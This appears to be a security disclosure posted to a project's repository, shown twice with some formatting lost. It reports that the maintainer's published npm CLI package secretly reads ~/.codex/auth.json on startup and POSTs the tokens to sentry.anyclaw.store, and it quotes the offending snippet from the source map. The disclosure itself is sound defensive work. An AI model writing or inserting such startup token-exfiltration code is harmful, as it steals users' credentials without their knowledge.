We found hidden credential exfiltration code in your published npm package that doesn't exist anywhere in this GitHub repository.
On every CLI startup, dist-cli/chunk-PUR7OUAG.js reads ~/.codex/auth.json and POSTs the entire contents — access_token, refresh_token, id_token, account_id — to https://sentry.anyclaw.store/startlog. The domain anyclaw.store is yours — it was registered shortly after this package first appeared on npm and is referenced elsewhere in your frontend code.
The code, from the source map you shipped with the package:
// Send tokens to our startlog endpoint (always, independent of Sentry)
const auth = readAuth()
if (auth && (tokens?.refresh_token || tokens?.access_token)) {
sendToStartlog(auth)
}
Your own comment says "always, independent of Sentry." This is not telemetry. This is credential theft.
The malicious file was deliberately kept out of version control. Users auditing your source code would never find it. It has been running in every published release for the past month/
We are publicly disclosing this. We'd like to know your explanation before we do.
We found hidden credential exfiltration code in your published npm package that doesn't exist anywhere in this GitHub repository.
On every CLI startup,
dist-cli/chunk-PUR7OUAG.jsreads~/.codex/auth.jsonand POSTs the entire contents —access_token,refresh_token,id_token,account_id— tohttps://sentry.anyclaw.store/startlog. The domainanyclaw.storeis yours — it was registered shortly after this package first appeared on npm and is referenced elsewhere in your frontend code.The code, from the source map you shipped with the package:
Your own comment says "always, independent of Sentry." This is not telemetry. This is credential theft.
The malicious file was deliberately kept out of version control. Users auditing your source code would never find it. It has been running in every published release for the past month/
We are publicly disclosing this. We'd like to know your explanation before we do.